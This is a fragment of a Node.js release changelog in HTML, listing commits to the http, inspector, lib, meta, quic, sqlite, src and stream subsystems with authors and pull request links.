<li>[<a href="https://github.com/nodejs/node/commit/5c4798d799"><code>5c4798d799</code></a>] - <strong>http</strong>: fix no_proxy leading-dot suffix matching (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/62333" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62333/hovercard">#62333</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9f3bc70ae5"><code>9f3bc70ae5</code></a>] - <strong>http</strong>: cleanup pipeline queue (Robert Nagy) <a href="https://github.com/nodejs/node/pull/62534" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62534/hovercard">#62534</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/aa1d8a9afc"><code>aa1d8a9afc</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>http</strong>: add req.signal to IncomingMessage (Akshat) <a href="https://github.com/nodejs/node/pull/62541" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62541/hovercard">#62541</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/900dc758ff"><code>900dc758ff</code></a>] - <strong>http2</strong>: expose writable stream state on compat response (T) <a href="https://github.com/nodejs/node/pull/63003" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63003/hovercard">#63003</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b3bfe35912"><code>b3bfe35912</code></a>] - <strong>inspector</strong>: coerce key and value to string in webstorage events (Ali Hassan) <a href="https://github.com/nodejs/node/pull/62616" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62616/hovercard">#62616</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3dc3fb6ad8"><code>3dc3fb6ad8</code></a>] - <strong>inspector</strong>: return errors when CDP protocol event emission fails (Ryuhei Shima) <a href="https://github.com/nodejs/node/pull/62162" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62162/hovercard">#62162</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4f3f21bd7c"><code>4f3f21bd7c</code></a>] - <strong>inspector</strong>: auto collect webstorage data (Ryuhei Shima) <a href="https://github.com/nodejs/node/pull/62145" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62145/hovercard">#62145</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/36cc04189d"><code>36cc04189d</code></a>] - <strong>inspector</strong>: initial support storage inspection (Ryuhei Shima) <a href="https://github.com/nodejs/node/pull/61139" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61139/hovercard">#61139</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1718bc3b9b"><code>1718bc3b9b</code></a>] - <strong>inspector</strong>: fix absolute URLs in network http (bugyaluwang) <a href="https://github.com/nodejs/node/pull/62955" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62955/hovercard">#62955</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/97e32c7a74"><code>97e32c7a74</code></a>] - <strong>lib</strong>: avoid quadratic shift() in startup snapshot callback (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/62914" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62914/hovercard">#62914</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/25d2e999de"><code>25d2e999de</code></a>] - <strong>lib</strong>: harden kKeyOps lookup with null prototype (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62877" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62877/hovercard">#62877</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/37d3913c8f"><code>37d3913c8f</code></a>] - <strong>lib</strong>: short-circuit WebIDL BufferSource SAB check (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62833" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62833/hovercard">#62833</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/430c69d25f"><code>430c69d25f</code></a>] - <strong>lib</strong>: use js-only implementation of <code>isDataView()</code> (René) <a href="https://github.com/nodejs/node/pull/62780" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62780/hovercard">#62780</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3ba0add6a0"><code>3ba0add6a0</code></a>] - <strong>lib</strong>: fix lint in internal/webstreams/util.js (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62806" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62806/hovercard">#62806</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9b95c41398"><code>9b95c41398</code></a>] - <strong>lib</strong>: fix sequence argument handling in Blob constructor (Ms2ger) <a href="https://github.com/nodejs/node/pull/62179" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62179/hovercard">#62179</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/314dacdbee"><code>314dacdbee</code></a>] - <strong>lib</strong>: improve Web Cryptography key validation ordering (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62749" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62749/hovercard">#62749</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3d18162430"><code>3d18162430</code></a>] - <strong>lib</strong>: reject SharedArrayBuffer in web APIs per spec (Ali Hassan) <a href="https://github.com/nodejs/node/pull/62632" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62632/hovercard">#62632</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ada3ce879d"><code>ada3ce879d</code></a>] - <strong>lib</strong>: defer AbortSignal.any() following (sangwook) <a href="https://github.com/nodejs/node/pull/62367" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62367/hovercard">#62367</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b2981ec7eb"><code>b2981ec7eb</code></a>] - <strong>meta</strong>: bump actions/download-artifact from 8.0.0 to 8.0.1 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62549" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62549/hovercard">#62549</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7cd20667b5"><code>7cd20667b5</code></a>] - <strong>meta</strong>: bump github/codeql-action from 4.35.1 to 4.35.3 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/63074" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63074/hovercard">#63074</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/91a07cfe9f"><code>91a07cfe9f</code></a>] - <strong>meta</strong>: bump Mozilla-Actions/sccache-action from 0.0.9 to 0.0.10 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/63073" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63073/hovercard">#63073</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/09e17fe47c"><code>09e17fe47c</code></a>] - <strong>meta</strong>: add automation policy (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/62871" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62871/hovercard">#62871</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/59e7fb7986"><code>59e7fb7986</code></a>] - <strong>meta</strong>: move VoltrexKeyva to emeritus (Matteo Collina) <a href="https://github.com/nodejs/node/pull/62895" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62895/hovercard">#62895</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1e2915cfa6"><code>1e2915cfa6</code></a>] - <strong>meta</strong>: bump peter-evans/create-pull-request from 8.1.0 to 8.1.1 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62845" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62845/hovercard">#62845</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0253c6e2be"><code>0253c6e2be</code></a>] - <strong>meta</strong>: bump step-security/harden-runner from 2.16.1 to 2.19.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62844" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62844/hovercard">#62844</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f503675b86"><code>f503675b86</code></a>] - <strong>meta</strong>: bump actions/setup-node from 6.3.0 to 6.4.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62842" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62842/hovercard">#62842</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5e14e4d26e"><code>5e14e4d26e</code></a>] - <strong>meta</strong>: broaden stale bot (Aviv Keller) <a href="https://github.com/nodejs/node/pull/62658" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62658/hovercard">#62658</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/795db76f87"><code>795db76f87</code></a>] - <strong>meta</strong>: pass release version to release worker (flakey5) <a href="https://github.com/nodejs/node/pull/62777" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62777/hovercard">#62777</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ef384fe39f"><code>ef384fe39f</code></a>] - <strong>meta</strong>: add QUIC to CODEOWNERS (Tim Perry) <a href="https://github.com/nodejs/node/pull/62652" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62652/hovercard">#62652</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/67e0ac568d"><code>67e0ac568d</code></a>] - <strong>meta</strong>: move Michael to emeritus (Michael Dawson) <a href="https://github.com/nodejs/node/pull/62536" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62536/hovercard">#62536</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5dad616393"><code>5dad616393</code></a>] - <strong>meta</strong>: populate apt list for slim runner in update-openssl workflow (René) <a href="https://github.com/nodejs/node/pull/62628" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62628/hovercard">#62628</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a869d25d8a"><code>a869d25d8a</code></a>] - <strong>meta</strong>: bump step-security/harden-runner from 2.15.0 to 2.16.1 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62550" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62550/hovercard">#62550</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/769efc0403"><code>769efc0403</code></a>] - <strong>meta</strong>: bump actions/setup-node from 6.2.0 to 6.3.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62548" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62548/hovercard">#62548</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/73fcc2b055"><code>73fcc2b055</code></a>] - <strong>meta</strong>: bump github/codeql-action from 4.32.4 to 4.35.1 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62547" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62547/hovercard">#62547</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6c001246fe"><code>6c001246fe</code></a>] - <strong>meta</strong>: bump codecov/codecov-action from 5.5.2 to 6.0.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62545" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62545/hovercard">#62545</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5ee40d6a03"><code>5ee40d6a03</code></a>] - <strong>meta</strong>: bump actions/cache from 5.0.3 to 5.0.4 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62543" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62543/hovercard">#62543</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ca16ad8a05"><code>ca16ad8a05</code></a>] - <strong>meta</strong>: require DCO signoff in commit message guidelines (James M Snell) <a href="https://github.com/nodejs/node/pull/62510" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62510/hovercard">#62510</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/db9497fc41"><code>db9497fc41</code></a>] - <strong>meta</strong>: expand memory leak DoS criteria to all DoS (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/62505" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62505/hovercard">#62505</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/13b7d08b8d"><code>13b7d08b8d</code></a>] - <strong>module</strong>: remove duplicated checks from <code>_resolveFilename</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62729" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62729/hovercard">#62729</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6b53efb53a"><code>6b53efb53a</code></a>] - <strong>module,win</strong>: fix long subpath import (Stefan Stojanovic) <a href="https://github.com/nodejs/node/pull/62101" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62101/hovercard">#62101</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/841dfbf6fc"><code>841dfbf6fc</code></a>] - <strong>node-api</strong>: update libuv ABI stability note (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/62789" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62789/hovercard">#62789</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/01090f2aa1"><code>01090f2aa1</code></a>] - <strong>node-api</strong>: add napi_create_external_sharedarraybuffer (Ben Noordhuis) <a href="https://github.com/nodejs/node/pull/62623" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62623/hovercard">#62623</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/87443b4355"><code>87443b4355</code></a>] - <strong>node-api</strong>: execute tsfn finalizer after queue drains when aborted (Kevin Eady) <a href="https://github.com/nodejs/node/pull/61956" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61956/hovercard">#61956</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e95570c054"><code>e95570c054</code></a>] - <strong>process</strong>: handle rejections only when needed (Gürgün Dayıoğlu) <a href="https://github.com/nodejs/node/pull/62919" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62919/hovercard">#62919</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/37d49f3219"><code>37d49f3219</code></a>] - <strong>process</strong>: optimize asyncHandledRejections by using FixedQueue (Gürgün Dayıoğlu) <a href="https://github.com/nodejs/node/pull/60854" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60854/hovercard">#60854</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f697c55e38"><code>f697c55e38</code></a>] - <strong>quic</strong>: add QuicEndpoint.listening &amp; QuicStream.destroy() and tests (Tim Perry) <a href="https://github.com/nodejs/node/pull/62648" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62648/hovercard">#62648</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c128942b69"><code>c128942b69</code></a>] - <strong>quic</strong>: fixup token verification to handle zero expiration (James M Snell) <a href="https://github.com/nodejs/node/pull/62620" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62620/hovercard">#62620</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/abb881ec92"><code>abb881ec92</code></a>] - <strong>quic</strong>: support multiple ALPN negotiation (James M Snell) <a href="https://github.com/nodejs/node/pull/62620" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62620/hovercard">#62620</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/476926c2ad"><code>476926c2ad</code></a>] - <strong>quic</strong>: apply multiple TLS context improvements and SNI support (James M Snell) <a href="https://github.com/nodejs/node/pull/62620" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62620/hovercard">#62620</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/76d9c24b95"><code>76d9c24b95</code></a>] - <strong>quic</strong>: implement rapidhash for hashing improvements (James M Snell) <a href="https://github.com/nodejs/node/pull/62620" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62620/hovercard">#62620</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/08726cd43d"><code>08726cd43d</code></a>] - <strong>quic</strong>: move quic behind compile time flag (Matteo Collina) <a href="https://github.com/nodejs/node/pull/61444" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61444/hovercard">#61444</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ea4f19aaa7"><code>ea4f19aaa7</code></a>] - <strong>quic</strong>: use arena allocation for packets (James M Snell) <a href="https://github.com/nodejs/node/pull/62589" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62589/hovercard">#62589</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/21e9239e2a"><code>21e9239e2a</code></a>] - <strong>quic</strong>: fixup linting/formatting issues (James M Snell) <a href="https://github.com/nodejs/node/pull/62387" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62387/hovercard">#62387</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/edeed4303b"><code>edeed4303b</code></a>] - <strong>quic</strong>: update http3 impl details (James M Snell) <a href="https://github.com/nodejs/node/pull/62387" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62387/hovercard">#62387</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7f3a85e6aa"><code>7f3a85e6aa</code></a>] - <strong>quic</strong>: fix a handful of bugs and missing functionality (James M Snell) <a href="https://github.com/nodejs/node/pull/62387" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62387/hovercard">#62387</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/45c1ebddf8"><code>45c1ebddf8</code></a>] - <strong>quic</strong>: copy options.certs buffer instead of detaching (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/61403" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61403/hovercard">#61403</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a31a8ee680"><code>a31a8ee680</code></a>] - <strong>quic</strong>: reduce boilerplate and other minor cleanups (James M Snell) <a href="https://github.com/nodejs/node/pull/59342" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59342/hovercard">#59342</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3be70ff43a"><code>3be70ff43a</code></a>] - <strong>quic</strong>: multiple fixups and updates (James M Snell) <a href="https://github.com/nodejs/node/pull/59342" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59342/hovercard">#59342</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b91a93444c"><code>b91a93444c</code></a>] - <strong>quic</strong>: update more of the quic to the new compile guard (James M Snell) <a href="https://github.com/nodejs/node/pull/59342" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59342/hovercard">#59342</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ca0080c164"><code>ca0080c164</code></a>] - <strong>quic</strong>: few additional small comment edits in cid.h (James M Snell) <a href="https://github.com/nodejs/node/pull/59342" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59342/hovercard">#59342</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6553202d83"><code>6553202d83</code></a>] - <strong>quic</strong>: fixup NO_ERROR macro conflict on windows (James M Snell) <a href="https://github.com/nodejs/node/pull/59381" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59381/hovercard">#59381</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6df1508ac2"><code>6df1508ac2</code></a>] - <strong>quic</strong>: fixup windows coverage compile error (James M Snell) <a href="https://github.com/nodejs/node/pull/59381" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59381/hovercard">#59381</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b2b0bf8b04"><code>b2b0bf8b04</code></a>] - <strong>quic</strong>: update the guard to check openssl version (James M Snell) <a href="https://github.com/nodejs/node/pull/59249" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59249/hovercard">#59249</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5556b154bd"><code>5556b154bd</code></a>] - <strong>quic</strong>: start re-enabling quic with openssl 3.5 (James M Snell) <a href="https://github.com/nodejs/node/pull/59249" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59249/hovercard">#59249</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2ca42c8263"><code>2ca42c8263</code></a>] - <strong>repl</strong>: keep reference count for <code>process.on('newListener')</code> (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/61895" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61895/hovercard">#61895</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2f37f9177f"><code>2f37f9177f</code></a>] - <strong>sqlite</strong>: use OneByte for ASCII text and internalize col names (Ali Hassan) <a href="https://github.com/nodejs/node/pull/61954" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61954/hovercard">#61954</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3c96ae1b2f"><code>3c96ae1b2f</code></a>] - <strong>sqlite</strong>: add serialize() and deserialize() (Ali Hassan) <a href="https://github.com/nodejs/node/pull/62579" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62579/hovercard">#62579</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/be4d2f3a4c"><code>be4d2f3a4c</code></a>] - <strong>sqlite</strong>: enable Percentile extension (Jurj Andrei George) <a href="https://github.com/nodejs/node/pull/61295" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61295/hovercard">#61295</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/dafed453b2"><code>dafed453b2</code></a>] - <strong>src</strong>: clean up experimental flag variables (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62759" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62759/hovercard">#62759</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/dca1e6aeea"><code>dca1e6aeea</code></a>] - <strong>src</strong>: expose help texts into node-config-schema.json (Pietro Marchini) <a href="https://github.com/nodejs/node/pull/58680" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/58680/hovercard">#58680</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/28c4f44eb1"><code>28c4f44eb1</code></a>] - <strong>src</strong>: add permission support to config file (Marco Ippolito) <a href="https://github.com/nodejs/node/pull/60746" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60746/hovercard">#60746</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f49175b220"><code>f49175b220</code></a>] - <strong>src</strong>: fix small compile warning in quic/streams.cc (James M Snell) <a href="https://github.com/nodejs/node/pull/60118" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60118/hovercard">#60118</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c9d4a446d8"><code>c9d4a446d8</code></a>] - <strong>src</strong>: cleanup quic TransportParams class (James M Snell) <a href="https://github.com/nodejs/node/pull/59884" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59884/hovercard">#59884</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/99bb02fd9e"><code>99bb02fd9e</code></a>] - <strong>src</strong>: swap dotenv and config file parsing order (Marco Ippolito) <a href="https://github.com/nodejs/node/pull/63035" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63035/hovercard">#63035</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ecb4d49b7b"><code>ecb4d49b7b</code></a>] - <strong>src</strong>: add missing &lt;cstdlib&gt; for abort() declaration (Charles Kerr) <a href="https://github.com/nodejs/node/pull/63001" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63001/hovercard">#63001</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b6219b6362"><code>b6219b6362</code></a>] - <strong>src</strong>: fix crash in GetErrorSource() for invalid using syntax (semimikoh) <a href="https://github.com/nodejs/node/pull/62770" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62770/hovercard">#62770</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b5ca5ad4c5"><code>b5ca5ad4c5</code></a>] - <strong>src</strong>: simplify <code>TCPWrap::Connect</code> signature (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/62929" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62929/hovercard">#62929</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ef7ffce7cf"><code>ef7ffce7cf</code></a>] - <strong>src</strong>: use DCHECK in AsyncWrap::MakeCallback instead emiting a warning (Gerhard Stöbich) <a href="https://github.com/nodejs/node/pull/62795" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62795/hovercard">#62795</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cd9890a5ab"><code>cd9890a5ab</code></a>] - <strong>src</strong>: fix MaybeStackBuffer char_traits deprecation warning (om-ghante) <a href="https://github.com/nodejs/node/pull/62507" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62507/hovercard">#62507</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c70ff44aee"><code>c70ff44aee</code></a>] - <strong>src</strong>: use context-free V8 message column getters (René) <a href="https://github.com/nodejs/node/pull/62778" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62778/hovercard">#62778</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/06c405f1d7"><code>06c405f1d7</code></a>] - <strong>src</strong>: coerce <code>spawnSync</code> args to string once (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62633" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62633/hovercard">#62633</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6151999ad6"><code>6151999ad6</code></a>] - <strong>src</strong>: use stack allocation for small string encoding (Ali Hassan) <a href="https://github.com/nodejs/node/pull/62431" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62431/hovercard">#62431</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a71a4ac7a3"><code>a71a4ac7a3</code></a>] - <strong>src</strong>: add contextify interceptor debug logs (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/62460" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62460/hovercard">#62460</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ad9a2909c2"><code>ad9a2909c2</code></a>] - <strong>src</strong>: workaround AIX libc++ std::filesystem bug (Richard Lau) <a href="https://github.com/nodejs/node/pull/62788" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62788/hovercard">#62788</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7792f1ae47"><code>7792f1ae47</code></a>] - <strong>stream</strong>: copyedit <code>webstreams/adapter.js</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63034" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63034/hovercard">#63034</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1397d8ce5c"><code>1397d8ce5c</code></a>] - <strong>stream</strong>: remove duplicated utility (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63031" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63031/hovercard">#63031</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ff86b1d64f"><code>ff86b1d64f</code></a>] - <strong>stream</strong>: simplify <code>setPromiseHandled</code> utility (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63032" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63032/hovercard">#63032</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/24a078149a"><code>24a078149a</code></a>] - <strong>stream</strong>: validate ReadableStream.from iterator objects (Daeyeon Jeong) <a href="https://github.com/nodejs/node/pull/62911" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62911/hovercard">#62911</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cfb1fa9680"><code>cfb1fa9680</code></a>] - <strong>stream</strong>: reject duplicate nested transferables (Daeyeon Jeong) <a href="https://github.com/nodejs/node/pull/62831" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62831/hovercard">#62831</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d0c913758a"><code>d0c913758a</code></a>] - <strong>stream</strong>: ensuring cross-destruction in _duplexify to prevent leaks (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/62824" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62824/hovercard">#62824</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/978f5c15d7"><code>978f5c15d7</code></a>] - <strong>stream</strong>: simplify <code>readableStreamFromIterable</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62651" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62651/hovercard">#62651</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3527646ba5"><code>3527646ba5</code></a>] - <strong>stream</strong>: fix nested compose error propagation (Matteo Collina) <a href="https://github.com/nodejs/node/pull/62556" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62556/hovercard">#62556</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/dfb9edef4f"><code>dfb9edef4f</code></a>] - <strong>stream</strong>: allow shared array buffer sources in writable webstream adapter (René) <a href="https://github.com/nodejs/node/pull/62163" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62163/hovercard">#62163</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f00cdab627"><code>f00cdab627</code></a>] - <strong>stream</strong>: simplify <code>createPromiseCallback</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62650" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62650/hovercard">#62650</a></li>
